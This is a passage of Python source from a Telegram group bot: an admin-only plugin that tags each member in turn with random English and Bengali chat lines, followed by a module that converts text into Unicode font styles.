ᴍᴇssᴀɢᴇ...ᰔᩚ**", " **※ ɪ ᴀᴍ ɪɴɴᴏᴄᴇɴᴛ...ᰔᩚ**", " **※ ɪᴛ ᴡᴀs ғᴜɴ ʏᴇsᴛᴇʀᴅᴀʏ, ᴡᴀsɴ'ᴛ ɪᴛ...ᰔᩚ**", " **※ ᴡʜᴇʀᴇ ᴡᴇʀᴇ ʏᴏᴜ ʙᴜsʏ ʏᴇsᴛᴇʀᴅᴀʏ...ᰔᩚ**", " **※ ʏᴏᴜ ʀᴇᴍᴀɪɴ sᴏ ᴄᴀʟᴍ ғʀɪᴇɴᴅ...ᰔᩚ**", " **※ ᴅᴏ ʏᴏᴜ ᴋɴᴏᴡ ʜᴏᴡ ᴛᴏ sɪɴɢ, sɪɴɢ...ᰔᩚ**", " **※ ᴡɪʟʟ ʏᴏᴜ ᴄᴏᴍᴇ ғᴏʀ ᴀ ᴡᴀʟᴋ ᴡɪᴛʜ ᴍᴇ...ᰔᩚ**", " **※ ᴀʟᴡᴀʏs ʙᴇ ʜᴀᴘᴘʏ ғʀɪᴇɴᴅ...ᰔᩚ**", " **※ ᴄᴀɴ ᴡᴇ ʙᴇ ғʀɪᴇɴᴅs...ᰔᩚ**", " **※ ᴀʀᴇ ʏᴏᴜ ᴍᴀʀʀɪᴇᴅ...ᰔᩚ**", " **※ ᴡʜᴇʀᴇ ʜᴀᴠᴇ ʏᴏᴜ ʙᴇᴇɴ ʙᴜsʏ ғᴏʀ sᴏ ᴍᴀɴʏ ᴅᴀʏs...ᰔᩚ**", " **※ ʟɪɴᴋ ɪs ɪɴ ʙɪᴏ, ᴛᴏ ᴊᴏɪɴ ɴᴏᴡ...ᰔᩚ**", " **※ ʜᴀᴅ ғᴜɴ...ᰔᩚ**", " **※ ᴅᴏ ʏᴏᴜ ᴋɴᴏᴡ ᴛʜᴇ ᴏᴡɴᴇʀ ᴏғ ᴛʜɪs ɢʀᴏᴜᴘ...ᰔᩚ**", " **※ ᴅᴏ ʏᴏᴜ ᴇᴠᴇʀ ʀᴇᴍᴇᴍʙᴇʀ ᴍᴇ...ᰔᩚ**", " **※ ʟᴇᴛ's ᴘᴀʀᴛʏ...ᰔᩚ**", " **※ ʜᴏᴡ ᴄᴏᴍᴇ ᴛᴏᴅᴀʏ...ᰔᩚ**", " **※ ʟɪsᴛᴇɴ ᴍᴇ...ᰔᩚ**", " **※ ʜᴏᴡ ᴡᴀs ʏᴏᴜʀ ᴅᴀʏ...ᰔᩚ**", " **※ ᴅɪᴅ ʏᴏᴜ sᴇᴇ...ᰔᩚ**", " **※ ᴀʀᴇ ʏᴏᴜ ᴛʜᴇ ᴀᴅᴍɪɴ ʜᴇʀᴇ...ᰔᩚ**", " **※ ᴀʀᴇ ʏᴏᴜ ɪɴ ʀᴇʟᴀᴛɪᴏɴsʜɪᴘ...ᰔᩚ**", " **※ ᴀɴᴅ ʜᴏᴡ ɪs ᴛʜᴇ ᴘʀɪsᴏɴᴇʀ...ᰔᩚ**", " **※ sᴀᴡ ʏᴏᴜ ʏᴇsᴛᴇʀᴅᴀʏ...ᰔᩚ**", " **※ ᴡʜᴇʀᴇ ᴀʀᴇ ʏᴏᴜ ғʀᴏᴍ...ᰔᩚ**", " **※ ᴀʀᴇ ʏᴏᴜ ᴏɴʟɪɴᴇ...ᰔᩚ**", " **※ ᴡʜᴀᴛ ᴅᴏ ʏᴏᴜ ʟɪᴋᴇ ᴛᴏ ᴇᴀᴛ...ᰔᩚ**", " **※ ᴀᴅᴅ ᴍᴇ ᴛᴏ ʏᴏᴜʀ ɢʀᴏᴜᴘ, ɪ ᴡɪʟʟ ᴘʟᴀʏ ᴍᴜsɪᴄ ᴀɴᴅ ᴛᴀɢ ᴇᴠᴇʀʏᴏɴᴇ...ᰔᩚ**", " **※ ᴡɪʟʟ ʏᴏᴜ ᴘʟᴀʏ ᴛʀᴜᴛʜ ᴀɴᴅ ᴅᴀʀᴇ...ᰔᩚ**", " **※ ᴡʜᴀᴛs ʜᴀᴘᴘᴇɴᴇᴅ ᴛᴏ ʏᴏᴜ...ᰔᩚ**", " **※ ᴅᴏ ʏᴏᴜ ᴡᴀɴɴᴀ ᴇᴀᴛ ᴄʜᴏᴄᴏʟᴀᴛᴇ...ᰔᩚ**", " **※ ʜᴇʟʟᴏ ʙᴀʙʏ...ᰔᩚ**", " **※ ᴅᴏ ᴄʜᴀᴛᴛɪɴɢ ᴡɪᴛʜ ᴍᴇ...ᰔᩚ**", " **※ ᴡʜᴀᴛ ᴅᴏ ʏᴏᴜ sᴀʏ...ᰔᩚ**", " **※ ɢɪᴠᴇ ᴍᴇ ʏᴏᴜʀ ᴡʜᴀᴛsᴀᴘᴘ ɴᴜᴍʙᴇʀ ᴘʟᴇᴀsᴇ...ᰔᩚ**" ] VC_TAG = [" **⚘ আমাকে ভুলে যাও...💥**", " **⚘ আমি তোমাকে ভালোবাসি না...💥**", " **⚘ এটাকে তোমার করো পিয়া, তোমার করো...💥**", " **⚘ আমার গ্রুপেও যোগ দিন...💥**", " **⚘ আমি হৃদয়ে তোমার নাম রেখেছি...💥**", " **⚘ তোমার সব বন্ধু কোথায়...💥**", " **⚘ কার স্মৃতিতে তুমি হারিয়ে গেছো আমার ভালোবাসা...💥**", " **⚘ তোমার পেশা কি...💥**", " **⚘ তুমি কোথায় থাকো...💥**", " **⚘ শুভ সকাল, বাবু...💥**", " **⚘ শুভ রাত্রি, অনেক দেরি হয়ে গেছে...💥**", " **⚘ আমার আজ খুব খারাপ লাগছে...💥**", " **⚘ আমার সাথেও কথা বল...💥**", " **⚘ আজ রাতের খাবারের জন্য কি...💥**", " **⚘ কি হচ্ছে...💥**", " **⚘ তুমি মেসেজ দাও না কেন...💥**", " **⚘ আমি নির্দোষ...💥**", " **⚘ এটা গতকাল মজা ছিল, তাই না...💥**", " **⚘ তুমি গতকাল কোথায় ব্যস্ত ছিলে...💥**", " **⚘ তুমি কি সম্পর্কে আছো...💥**", " **⚘ তুমি খুব শান্ত থাকো বন্ধু...💥**", " **⚘ তুমি কি গাইতে জানো, গাইতে...💥**", " **⚘ তুমি কি আমার সাথে বেড়াতে আসবে...💥**", " **⚘ সবসময় হাসিখুশি থেকো বন্ধু...💥**", " **⚘ আমরা কি বন্ধু হতে পারি...💥**", " **⚘ তুমি কি বিবাহিত...💥**", " **⚘ এত দিন কোথায় ব্যস্ত ছিলে...💥**", " **⚘ লিঙ্ক বায়োতে আছে, এখন যোগ দিতে...💥**", " **⚘ মজা করলাম...💥**", " **⚘ আপনি কি এই গ্রুপের মালিককে চেনেন...💥**", " **⚘ তোমার কি কখনো মনে পড়ে আমায়...💥**", " **⚘ চলো পার্টি করি...💥**", " **⚘ আজ কেমন এলো...💥**", " **⚘ কেমন কাটলো তোমার দিন...💥**", " **⚘ তুমি কি দেখেছো...💥**", " **⚘ আপনি কি এখানকার প্রশাসক...💥**", " **⚘ আমরা বন্ধু হতে পারি...💥**", " **⚘ তুমি কি সম্পর্কে আছো...💥**", " **⚘ আর বন্দী কেমন আছে...💥**", " **⚘ তোমাকে গতকাল দেখেছি...💥**", " **⚘ তুমি কোথা থেকে...💥**", " **⚘ আপনি কি অনলাইনে আছেন...💥**", " **⚘ তুমি কি আমার বন্ধু....💥**", " **⚘ তুমি কি খেতে পছন্দ কর...💥**", " **⚘ আমাকে আপনার গ্রুপে অ্যাড করুন, আমি গান বাজিয়ে সবাইকে ট্যাগ করব....💥**", " **⚘ আজ আমি দুঃখিত...💥**", " **⚘ তুমি কি সত্য খেলবে এবং সাহস করবে...💥**", " **⚘ তোমার মত বন্ধু থাকলে চিন্তার কি আছে...💥**", " **⚘ কি হয়েছে তোমার...💥**", " **⚘ তুমি কি চকলেট খেতে চাও....💥**", " **⚘ হ্যালো বাবু...💥**", " **⚘ আমার সাথে চ্যাট করো...💥**", " **⚘ তুমি কি বলো...💥**" ] @app.on_message(filters.command(["entag", "englishtag" ], prefixes=["/", "@", "#"])) async def mentionall(client, message): chat_id = message.chat.id if message.chat.type == ChatType.PRIVATE: return await message.reply("๏ ᴛʜɪs ᴄᴏᴍᴍᴀɴᴅ ᴏɴʟʏ ғᴏʀ ɢʀᴏᴜᴘs.") is_admin = False try: participant = await client.get_chat_member(chat_id, message.from_user.id) except UserNotParticipant: is_admin = False else: if participant.status in ( ChatMemberStatus.ADMINISTRATOR, ChatMemberStatus.OWNER ): is_admin = True if not is_admin: return await message.reply("๏ ʏᴏᴜ ᴀʀᴇ ɴᴏᴛ ᴀᴅᴍɪɴ ʙᴀʙʏ, ᴏɴʟʏ ᴀᴅᴍɪɴs ᴄᴀɴ ᴛᴀɢ ᴍᴇᴍʙᴇʀs. ") if message.reply_to_message and message.text: return await message.reply("/entag ɢᴏᴏᴅ ᴍᴏʀɴɪɴɢ ᴛʏᴘᴇ ʟɪᴋᴇ ᴛʜɪs / ʀᴇᴘʟʏ ᴀɴʏ ᴍᴇssᴀɢᴇ ɴᴇxᴛ ᴛɪᴍᴇ ʙᴏᴛ ᴛᴀɢɢɪɴɢ...") elif message.text: mode = "text_on_cmd" msg = message.text elif message.reply_to_message: mode = "text_on_reply" msg = message.reply_to_message if not msg: return await message.reply("/entag ɢᴏᴏᴅ ᴍᴏʀɴɪɴɢ ᴛʏᴘᴇ ʟɪᴋᴇ ᴛʜɪs / ʀᴇᴘʟʏ ᴀɴʏ ᴍᴇssᴀɢᴇ ɴᴇxᴛ ᴛɪᴍᴇ ғᴏᴛ ᴛᴀɢɢɪɴɢ...") else: return await message.reply("/entag ɢᴏᴏᴅ ᴍᴏʀɴɪɴɢ ᴛʏᴘᴇ ʟɪᴋᴇ ᴛʜɪs / ʀᴇᴘʟʏ ᴀɴʏ ᴍᴇssᴀɢᴇ ɴᴇxᴛ ᴛɪᴍᴇ ʙᴏᴛ ᴛᴀɢɢɪɴɢ...") if chat_id in spam_chats: return await message.reply("๏ ᴘʟᴇᴀsᴇ ᴀᴛ ғɪʀsᴛ sᴛᴏᴘ ʀᴜɴɴɪɴɢ ᴍᴇɴᴛɪᴏɴ ᴘʀᴏᴄᴇss...") spam_chats.append(chat_id) usrnum = 0 usrtxt = "" async for usr in client.get_chat_members(chat_id): if not chat_id in spam_chats: break if usr.user.is_bot: continue usrnum += 1 usrtxt += "{}".format(usr.user.id, usr.user.first_name) if usrnum == 1: if mode == "text_on_cmd": txt = f"{usrtxt} {random.choice(TAGMES)}" await client.send_message(chat_id, txt) elif mode == "text_on_reply": await msg.reply(f"[{random.choice(EMOJI)}](tg://user?id={usr.user.id})") await asyncio.sleep(4) usrnum = 0 usrtxt = "" try: spam_chats.remove(chat_id) except: pass @app.on_message(filters.command(["bntag"], prefixes=["/", "@", "#"])) async def mention_allvc(client, message): chat_id = message.chat.id if message.chat.type == ChatType.PRIVATE: return await message.reply("๏ ᴛʜɪs ᴄᴏᴍᴍᴀɴᴅ ᴏɴʟʏ ғᴏʀ ɢʀᴏᴜᴘs.") is_admin = False try: participant = await client.get_chat_member(chat_id, message.from_user.id) except UserNotParticipant: is_admin = False else: if participant.status in ( ChatMemberStatus.ADMINISTRATOR, ChatMemberStatus.OWNER ): is_admin = True if not is_admin: return await message.reply("๏ ʏᴏᴜ ᴀʀᴇ ɴᴏᴛ ᴀᴅᴍɪɴ ʙᴀʙʏ, ᴏɴʟʏ ᴀᴅᴍɪɴs ᴄᴀɴ ᴛᴀɢ ᴍᴇᴍʙᴇʀs. ") if chat_id in spam_chats: return await message.reply("๏ ᴘʟᴇᴀsᴇ ᴀᴛ ғɪʀsᴛ sᴛᴏᴘ ʀᴜɴɴɪɴɢ ᴍᴇɴᴛɪᴏɴ ᴘʀᴏᴄᴇss...") spam_chats.append(chat_id) usrnum = 0 usrtxt = "" async for usr in client.get_chat_members(chat_id): if not chat_id in spam_chats: break if usr.user.is_bot: continue usrnum += 1 usrtxt += "{}".format(usr.user.id, usr.user.first_name) if usrnum == 1: txt = f"{usrtxt} {random.choice(VC_TAG)}" await client.send_message(chat_id, txt) await asyncio.sleep(4) usrnum = 0 usrtxt = "" try: spam_chats.remove(chat_id) except: pass @app.on_message(filters.command(["cancel", "enstop", "bnstop"])) async def cancel_spam(client, message): if not message.chat.id in spam_chats: return await message.reply("๏ ᴄᴜʀʀᴇɴᴛʟʏ ɪ'ᴍ ɴᴏᴛ ᴛᴀɢɢɪɴɢ ʙᴀʙʏ.") is_admin = False try: participant = await client.get_chat_member(message.chat.id, message.from_user.id) except UserNotParticipant: is_admin = False else: if participant.status in ( ChatMemberStatus.ADMINISTRATOR, ChatMemberStatus.OWNER ): is_admin = True if not is_admin: return await message.reply("๏ ʏᴏᴜ ᴀʀᴇ ɴᴏᴛ ᴀᴅᴍɪɴ ʙᴀʙʏ, ᴏɴʟʏ ᴀᴅᴍɪɴs ᴄᴀɴ ᴛᴀɢ ᴍᴇᴍʙᴇʀs.") else: try: spam_chats.remove(message.chat.id) except: pass return await message.reply("๏ ᴍᴇɴᴛɪᴏɴ ᴘʀᴏᴄᴇss sᴛᴏᴘᴘᴇᴅ ๏") ================================================ FILE: BrandrdXMusic/plugins/admins/font.py ================================================ class Fonts: def typewriter(text): style = { "a": "𝚊", "b": "𝚋", "c": "𝚌", "d": "𝚍", "e": "𝚎", "f": "𝚏", "g": "𝚐", "h": "𝚑", "i": "𝚒", "j": "𝚓", "k": "𝚔", "l": "𝚕", "m": "𝚖", "n": "𝚗", "o": "𝚘", "p": "𝚙", "q": "𝚚", "r": "𝚛", "s": "𝚜", "t": "𝚝", "u": "𝚞", "v": "𝚟", "w": "𝚠", "x": "𝚡", "y": "𝚢", "z": "𝚣", "A": "𝙰", "B": "𝙱", "C": "𝙲", "D": "𝙳", "E": "𝙴", "F": "𝙵", "G": "𝙶", "H": "𝙷", "I": "𝙸", "J": "𝙹", "K": "𝙺", "L": "𝙻", "M": "𝙼", "N": "𝙽", "O": "𝙾", "P": "𝙿", "Q": "𝚀", "R": "𝚁", "S": "𝚂", "T": "𝚃", "U": "𝚄", "V": "𝚅", "W": "𝚆", "X": "𝚇", "Y": "𝚈", "Z": "𝚉", } for i, j in style.items(): text = text.replace(i, j) return text def outline(text): style = { "a": "𝕒", "b": "𝕓", "c": "𝕔", "d": "𝕕", "e": "𝕖", "f": "𝕗", "g": "𝕘", "h": "𝕙", "i": "𝕚", "j": "𝕛", "k": "𝕜", "l": "𝕝", "m": "𝕞", "n": "𝕟", "o": "𝕠", "p": "𝕡", "q": "𝕢", "r": "𝕣", "s": "𝕤", "t": "𝕥", "u": "𝕦", "v": "𝕧", "w": "𝕨", "x": "𝕩", "y": "𝕪", "z": "𝕫", "A": "𝔸", "B": "𝔹", "C": "ℂ", "D": "𝔻", "E": "𝔼", "F": "𝔽", "G": "𝔾", "H": "ℍ", "I": "𝕀", "J": "𝕁", "K": "𝕂", "L": "𝕃", "M": "𝕄", "N": "ℕ", "O": "𝕆", "P": "ℙ", "Q": "ℚ", "R": "ℝ", "S": "𝕊", "T": "𝕋", "U": "𝕌", "V": "𝕍", "W": "𝕎", "X": "𝕏", "Y": "𝕐", "Z": "ℤ", "0": "𝟘", "1": "𝟙", "2": "𝟚", "3": "𝟛", "4": "𝟜", "5": "𝟝", "6": "𝟞", "7": "𝟟", "8": "𝟠", "9": "𝟡", } for i, j in style.items(): text = text.replace(i, j) return text def serief(text): style = { "a": "𝐚", "b": "𝐛", "c": "𝐜", "d": "𝐝", "e": "𝐞", "f": "𝐟", "g": "𝐠", "h": "𝐡", "i": "𝐢", "j": "𝐣", "k": "𝐤", "l": "𝐥", "m": "𝐦", "n": "𝐧", "o": "𝐨", "p": "𝐩", "q": "𝐪", "r": "𝐫", "s": "𝐬", "t": "𝐭", "u": "𝐮", "v": "𝐯", "w": "𝐰", "x": "𝐱", "y": "𝐲", "z": "𝐳", "A": "𝐀", "B": "𝐁", "C": "𝐂", "D": "𝐃", "E": "𝐄", "F": "𝐅", "G": "𝐆", "H": "𝐇", "I": "𝐈", "J": "𝐉", "K": "𝐊", "L": "𝐋", "M": "𝐌", "N": "𝐍", "O": "𝐎", "P": "𝐏", "Q": "𝐐", "R": "𝐑", "S": "𝐒", "T": "𝐓", "U": "𝐔", "V": "𝐕", "W": "𝐖", "X": "𝐗", "Y": "𝐘", "Z": "𝐙", "0": "𝟎", "1": "𝟏", "2": "𝟐", "3": "𝟑", "4": "𝟒", "5": "𝟓", "6": "𝟔", "7": "𝟕", "8": "𝟖", "9": "𝟗", } for i, j in style.items(): text = text.replace(i, j) return text def bold_cool(text): style = { "a": "𝒂", "b": "𝒃", "c": "𝒄", "d": "𝒅", "e": "𝒆", "f": "𝒇", "g": "𝒈", "h": "𝒉", "i": "𝒊", "j": "𝒋", "k": "𝒌", "l": "𝒍", "m": "𝒎", "n": "𝒏", "o": "𝒐", "p": "𝒑", "q": "𝒒", "r": "𝒓", "s": "𝒔", "t": "𝒕", "u": "𝒖", "v": "𝒗", "w": "𝒘", "x": "𝒙", "y": "𝒚", "z": "𝒛", "A": "𝑨", "B": "𝑩", "C": "𝑪", "D": "𝑫", "E": "𝑬", "F": "𝑭", "G": "𝑮", "H": "𝑯", "I": "𝑰", "J": "𝑱", "K": "𝑲", "L": "𝑳", "M": "𝑴", "N": "𝑵", "O": "𝑶", "P": "𝑷", "Q": "𝑸", "R": "𝑹", "S": "𝑺", "T": "𝑻", "U": "𝑼", "V": "𝑽", "W": "𝑾", "X": "𝑿", "Y": "𝒀", "Z": "𝒁", } for i, j in style.items(): text = text.replace(i, j) return text def cool(text): style = { "a": "𝑎", "b": "𝑏", "c": "𝑐", "d": "𝑑", "e": "𝑒", "f": "𝑓", "g": "𝑔", "h": "ℎ", "i": "𝑖", "j": "𝑗", "k": "𝑘", "l": "𝑙", "m": "𝑚", "n": "𝑛", "o": "𝑜", "p": "𝑝", "q": "𝑞", "r": "𝑟", "s": "𝑠", "t": "𝑡", "u": "𝑢", "v": "𝑣", "w": "𝑤", "x": "𝑥", "y": "𝑦", "z": "𝑧", "A": "𝐴", "B": "𝐵", "C": "𝐶", "D": "𝐷", "E": "𝐸", "F": "𝐹", "G": "𝐺", "H": "𝐻", "I": "𝐼", "J": "𝐽", "K": "𝐾", "L": "𝐿", "M": "𝑀", "N": "𝑁", "O": "𝑂", "P": "𝑃", "Q": "𝑄", "R": "𝑅", "S": "𝑆", "T": "𝑇", "U": "𝑈", "V": "𝑉", "W": "𝑊", "X": "𝑋", "Y": "𝑌", "Z": "𝑍", } for i, j in style.items(): text = text.replace(i, j) return text def smallcap(text): style = { "a": "ᴀ", "b": "ʙ", "c": "ᴄ", "d": "ᴅ", "e": "ᴇ", "f": "ғ", "g": "ɢ", "h": "ʜ", "i": "ɪ", "j": "J", "k": "ᴋ", "l": "ʟ", "m": "ᴍ", "n": "ɴ", "o": "ᴏ", "p": "ᴘ", "q": "ǫ", "r": "ʀ", "s": "s", "t": "ᴛ", "u": "ᴜ", "v": "ᴠ", "w": "ᴡ", "x": "x", "y": "ʏ", "z": "ᴢ", "A": "A", "B": "B", "C": "C", "D": "D", "E": "E", "F": "F", "G": "G", "H": "H", "I": "I", "J": "J", "K": "K", "L": "L", "M": "M", "N": "N", "O": "O", "P": "P", "Q": "Q", "R": "R", "S": "S", "T": "T", "U": "U", "V": "V", "W": "W", "X": "X", "Y": "Y", "Z": "Z", "0": "𝟶", "1": "𝟷", "2": "𝟸", "3": "𝟹", "4": "𝟺", "5": "𝟻", "6": "𝟼", "7": "𝟽", "8": "𝟾", "9": "𝟿", } for i, j in style.items(): text = text.replace(i, j) return text def script(text): style = { "a": "𝒶", "b": "𝒷", "c": "𝒸", "d": "𝒹", "e": "ℯ", "f": "𝒻", "g": "ℊ", "h": "𝒽", "i": "𝒾", "j": "𝒿", "k": "𝓀", "l": "𝓁", "m": "𝓂", "n": "𝓃", "o": "ℴ", "p": "𝓅", "q": "𝓆", "r": "𝓇", "s": "𝓈", "t": "𝓉", "u": "𝓊", "v": "𝓋", "w": "𝓌", "x": "𝓍", "y": "𝓎", "z": "𝓏", "A": "𝒜", "B": "ℬ", "C": "𝒞", "D": "𝒟", "E": "ℰ", "F": "ℱ", "G": "𝒢", "H": "ℋ", "I": "ℐ", "J": "𝒥", "K": "𝒦", "L": "ℒ", "M": "ℳ", "N": "𝒩", "O": "𝒪", "P": "𝒫", "Q": "𝒬", "R": "ℛ", "S": "𝒮", "T": "𝒯", "U": "𝒰", "V": "𝒱", "W": "𝒲", "X": "𝒳", "Y": "𝒴", "Z": "𝒵", } for i, j in style.items(): text = text.replace(i, j) return text def bold_script(text): style = { "a": "𝓪", "b": "𝓫", "c": "𝓬", "d": "𝓭", "e": "𝓮", "f": "𝓯", "g": "𝓰", "h": "𝓱", "i": "𝓲", "j": "𝓳", "k": "𝓴", "l": "𝓵", "m": "𝓶", "n": "𝓷", "o": "𝓸", "p": "𝓹", "q": "𝓺", "r": "𝓻", "s": "𝓼", "t": "𝓽", "u": "𝓾", "v": "𝓿", "w": "𝔀", "x": "𝔁", "y": "𝔂", "z": "𝔃", "A": "𝓐", "B": "𝓑", "C": "𝓒", "D": "𝓓", "E": "𝓔", "F": "𝓕", "G": "𝓖", "H": "𝓗", "I": "𝓘", "J": "𝓙", "K": "𝓚", "L": "𝓛", "M": "𝓜", "N": "𝓝", "O": "𝓞", "P": "𝓟", "Q": "𝓠", "R": "𝓡", "S": "𝓢", "T": "𝓣", "U": "𝓤", "V": "𝓥", "W": "𝓦", "X": "𝓧", "Y": "𝓨", "Z": "𝓩", } for i, j in style.items(): text = text.replace(i, j) return text def tiny(text): style = { "a": "ᵃ", "b": "ᵇ", "c": "ᶜ", "d": "ᵈ", "e": "ᵉ", "f": "ᶠ", "g": "ᵍ", "h": "ʰ", "i": "ⁱ", "j": "ʲ", "k": "ᵏ", "l": "ˡ", "m": "ᵐ", "n": "ⁿ", "o": "ᵒ", "p": "ᵖ", "q": "ᵠ", "r": "ʳ", "s": "ˢ", "t": "ᵗ", "u": "ᵘ", "v": "ᵛ", "w": "ʷ", "x": "ˣ", "y": "ʸ", "z": "ᶻ", "A": "ᵃ", "B": "ᵇ", "C": "ᶜ", "D": "ᵈ", "E": "ᵉ", "F": "ᶠ", "G": "ᵍ", "H": "ʰ", "I": "ⁱ", "J": "ʲ", "K": "ᵏ", "L": "ˡ", "M": "ᵐ", "N": "ⁿ", "O": "ᵒ", "P": "ᵖ", "Q": "ᵠ", "R": "ʳ", "S": "ˢ", "T": "ᵗ", "U": "ᵘ", "V": "ᵛ", "W": "ʷ", "X": "ˣ", "Y": "ʸ", "Z": "ᶻ", } for i, j in style.items(): text = text.replace(i, j) return text def comic(text): style = { "a": "ᗩ", "b": "ᗷ", "c": "ᑕ", "d": "ᗪ", "e": "ᗴ", "f": "ᖴ", "g": "ᘜ", "h": "ᕼ", "i": "I", "j": "ᒍ", "k": "K", "l": "ᒪ", "m": "ᗰ", "n": "ᑎ", "o": "O", "p": "ᑭ", "q": "ᑫ", "r": "ᖇ", "s": "Տ", "t": "T", "u": "ᑌ", "v": "ᐯ", "w": "ᗯ", "x": "᙭", "y": "Y", "z": "ᘔ", "A": "ᗩ", "B": "ᗷ", "C": "ᑕ", "D": "ᗪ", "E": "ᗴ", "F": "ᖴ", "G": "ᘜ", "H": "ᕼ", "I": "I", "J": "ᒍ", "K": "K", "L": "ᒪ", "M": "ᗰ", "N": "ᑎ", "O": "O", "P": "ᑭ", "Q": "ᑫ", "R": "ᖇ", "S": "Տ", "T": "T", "U": "ᑌ", "V": "ᐯ", "W": "ᗯ", "X": "᙭", "Y": "Y", "Z": "ᘔ", } for i, j in style.items(): text = text.replace(i, j) return text def san(text): style = { "a": "𝗮", "b": "𝗯", "c": "𝗰", "d": "𝗱", "e": "𝗲", "f": "𝗳", "g": "𝗴", "h": "𝗵", "i": "𝗶", "j": "𝗷", "k": "𝗸", "l": "𝗹", "m": "𝗺", "n": "𝗻", "o": "𝗼", "p": "𝗽", "q": "𝗾", "r": "𝗿", "s": "𝘀", "t": "𝘁", "u": "𝘂", "v": "𝘃", "w": "𝘄", "x": "𝘅", "y": "𝘆", "z": "𝘇", "A": "𝗔", "B": "𝗕", "C": "𝗖", "D": "𝗗", "E": "𝗘", "F": "𝗙", "G": "𝗚", "H": "𝗛", "I": "𝗜", "J": "𝗝", "K": "𝗞", "L": "𝗟", "M": "𝗠", "N": "𝗡", "O": "𝗢", "P": "𝗣", "Q": "𝗤", "R": "𝗥", "S": "𝗦", "T": "𝗧", "U": "𝗨", "V": "𝗩", "W": "𝗪", "X": "𝗫", "Y": "𝗬", "Z": "𝗭", "0": "𝟬", "1": "𝟭", "2": "𝟮", "3": "𝟯", "4": "𝟰", "5": "𝟱", "6": "𝟲", "7": "𝟳", "8": "𝟴", "9": "𝟵", } for i, j in style.items(): text = text.replace(i, j) return text def slant_san(text): style = { "a": "𝙖", "b": "𝙗", "c": "𝙘", "d": "𝙙", "e": "𝙚", "f": "𝙛", "g": "𝙜", "h": "𝙝", "i": "𝙞", "j": "𝙟", "k": "𝙠", "l": "𝙡", "m": "𝙢", "n": "𝙣", "o": "𝙤", "p": "𝙥", "q": "𝙦", "r": "𝙧", "s": "𝙨", "t": "𝙩", "u": "𝙪", "v": "𝙫", "w": "𝙬", "x": "𝙭", "y": "𝙮", "z": "𝙯", "A": "𝘼", "B": "𝘽", "C": "𝘾", "D": "𝘿", "E": "𝙀", "F": "𝙁", "G": "𝙂", "H": "𝙃", "I": "𝙄", "J": "𝙅", "K": "𝙆", "L": "𝙇", "M": "𝙈", "N": "𝙉", "O": "𝙊", "P": "𝙋", "Q": "𝙌", "R": "𝙍", "S": "𝙎", "T": "𝙏", "U": "𝙐", "V": "𝙑", "W": "𝙒", "X": "𝙓", "Y": "𝙔", "Z": "𝙕", } for i, j in style.items(): text = text.replace(i, j) return text def slant(text): style = { "a": "𝘢", "b": "𝘣", "c": "𝘤", "d": "𝘥", "e": "𝘦", "f": "𝘧", "g": "𝘨", "h": "𝘩", "i": "𝘪", "j": "𝘫", "k": "𝘬", "l": "𝘭", "m": "𝘮", "n": "𝘯", "o": "𝘰", "p": "𝘱", "q": "𝘲", "r": "𝘳", "s": "𝘴", "t": "𝘵", "u": "𝘶", "v": "𝘷", "w": "𝘸", "x": "𝘹", "y": "𝘺", "z": "𝘻", "A": "𝘈", "B": "𝘉", "C": "𝘊", "D": "𝘋", "E": "𝘌", "F": "𝘍", "G": "𝘎", "H": "𝘏", "I": "𝘐", "J": "𝘑", "K": "𝘒", "L": "𝘓", "M": "𝘔", "N": "𝘕", "O": "𝘖", "P": "𝘗", "Q": "𝘘", "R": "𝘙", "S": "𝘚", "T": "𝘛", "U": "𝘜", "V": "𝘝", "W": "𝘞", "X": "𝘟", "Y": "𝘠", "Z": "𝘡", } for i, j in style.items(): text = text.replace(i, j) return text def sim(text): style = { "a": "𝖺", "b": "𝖻", "c": "𝖼", "d": "𝖽", "e": "𝖾", "f": "𝖿", "g": "𝗀", "h": "𝗁", "i": "𝗂", "j": "𝗃", "k": "𝗄", "l": "𝗅", "m": "𝗆", "n": "𝗇", "o": "𝗈", "p": "𝗉", "q": "𝗊", "r": "𝗋", "s": "𝗌", "t": "𝗍", "u": "𝗎", "v": "𝗏", "w": "𝗐", "x": "𝗑", "y": "𝗒", "z": "𝗓", "A": "𝖠", "B": "𝖡", "C": "𝖢", "D": "𝖣", "E": "𝖤", "F": "𝖥", "G": "𝖦", "H": "𝖧", "I": "𝖨", "J": "𝖩", "K": "𝖪", "L": "𝖫", "M": "𝖬", "N": "𝖭", "O": "𝖮", "P": "𝖯", "Q": "𝖰", "R": "𝖱", "S": "𝖲", "T": "𝖳", "U": "𝖴", "V": "𝖵", "W": "𝖶", "X": "𝖷", "Y": "𝖸", "Z": "𝖹", } for i, j in style.items(): text = text.replace(i, j) return text def circles(text): style = { "a": "Ⓐ︎", "b": "Ⓑ︎", "c": "Ⓒ︎", "d": "Ⓓ︎", "e": "Ⓔ︎", "f": "Ⓕ︎", "g": "Ⓖ︎", "h": "Ⓗ︎", "i": "Ⓘ︎", "j": "Ⓙ︎", "k": "Ⓚ︎", "l": "Ⓛ︎", "m": "Ⓜ︎", "n": "Ⓝ︎", "o": "Ⓞ︎", "p": "Ⓟ︎", "q": "Ⓠ︎", "r": "Ⓡ︎", "s": "Ⓢ︎", "t": "Ⓣ︎", "u": "Ⓤ︎", "v": "Ⓥ︎", "w": "Ⓦ︎", "x": "Ⓧ︎", "y": "Ⓨ︎", "z": "Ⓩ︎", "A": "Ⓐ︎", "B": "Ⓑ︎", "C": "Ⓒ︎", "D": "Ⓓ︎", "E": "Ⓔ︎", "F": "Ⓕ︎", "G": "Ⓖ︎", "H": "Ⓗ︎", "I": "Ⓘ︎", "J": "Ⓙ︎", "K": "Ⓚ︎", "L": "Ⓛ︎", "M": "Ⓜ︎", "N": "Ⓝ︎", "O": "Ⓞ︎", "P": "Ⓟ︎", "Q": "Ⓠ︎", "R": "Ⓡ︎", "S": "Ⓢ︎", "T": "Ⓣ︎", "U": "Ⓤ︎", "V": "Ⓥ︎", "W": "Ⓦ︎", "X": "Ⓧ︎", "Y": "Ⓨ︎", "Z": "Ⓩ︎", "0": "⓪", "1": "①", "2": "②", "3": "③", "4": "④", "5": "⑤", "6": "⑥", "7": "⑦", "8": "⑧", "9": "⑨", } for i, j in style.items(): text = text.replace(i, j) return text def dark_circle(text): style = { "a": "🅐︎", "b": "🅑︎", "c": "🅒︎", "d": "🅓︎", "e": "🅔︎", "f": "🅕︎", "g": "🅖︎", "h": "🅗︎", "i": "🅘︎", "j": "🅙︎", "k": "🅚︎", "l": "🅛︎", "m": "🅜︎", "n": "🅝︎", "o": "🅞︎", "p": "🅟︎", "q": "🅠︎", "r": 